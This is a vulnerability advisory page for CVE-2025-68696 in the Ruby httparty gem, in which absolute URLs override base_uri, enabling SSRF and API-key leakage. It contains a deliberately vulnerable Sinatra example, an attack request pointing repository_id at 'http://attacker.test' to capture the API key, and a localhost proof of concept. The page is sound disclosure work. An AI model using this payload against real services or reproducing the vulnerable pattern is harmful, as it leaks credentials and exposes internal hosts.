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Open-source package vulnerability · RubyGems

CVE-2025-68696: httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage

highCVSS 4.0 7.8 · 3.1 8.2GHSA-hm5p-x4rq-38w4

Summary There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers. Details When httparty receives a path argument that is an absolute URL, it ignores the baseuri field.

Published Dec 23, 2025 · Updated Jan 11, 2026

Affected packages

httparty

Ecosystem
RubyGems
Affected
<= 0.23.2
Fixed in
0.24.0
Check
bundle info httparty

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Summary

There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.

Details

When httparty receives a path argument that is an absolute URL, it ignores the base_uri field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.

Consider the following example of a web application:

require 'sinatra'
require 'httparty'

class RepositoryClient
  include HTTParty
  base_uri 'http://exmaple.test/api/v1/repositories/'
  headers 'X-API-KEY' => '1234567890'
end

post '/issue' do
  request_body = JSON.parse(request.body.read)
  RepositoryClient.get(request_body['repository_id']).body
  # do something
  json message: 'OK'
end

Now, suppose an attacker sends a request like this:

POST /issue HTTP/1.1
Host: localhost:10000
Content-Type: application/json

{
    "repository_id": "http://attacker.test",
    "title": "test"
}

In this case, httparty sends the X-API-KEY not to http://example.test but instead to http://attacker.test.

A similar problem was reported and fixed in the HTTP client library axios in the past:

Also, Python's urljoin function has documented a warning about similar behavior:

PoC

Follow these steps to reproduce the issue:

  1. Set up two simple HTTP servers.
   mkdir /tmp/server1 /tmp/server2
   echo "this is server1" > /tmp/server1/index.html 
   echo "this is server2" > /tmp/server2/index.html
   python -m http.server -d /tmp/server1 10001 &
   python -m http.server -d /tmp/server2 10002 &
  1. Create a script (for example, main.rb):
   require 'httparty'

   class Client
     include HTTParty
     base_uri 'http://localhost:10001'
   end

   data = Client.get('http://localhost:10002').body
   puts data
  1. Run the script:
   $ ruby main.rb
   this is server2

Although base_uri is set to http://localhost:10001/, httparty sends the request to http://localhost:10002/.

Impact

  • Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts.
  • SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running.
  • Affected users: Any software that uses base_uri and does not properly validate the path parameter may be affected by this issue.

Credited to lambdasawa, ashkulz.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology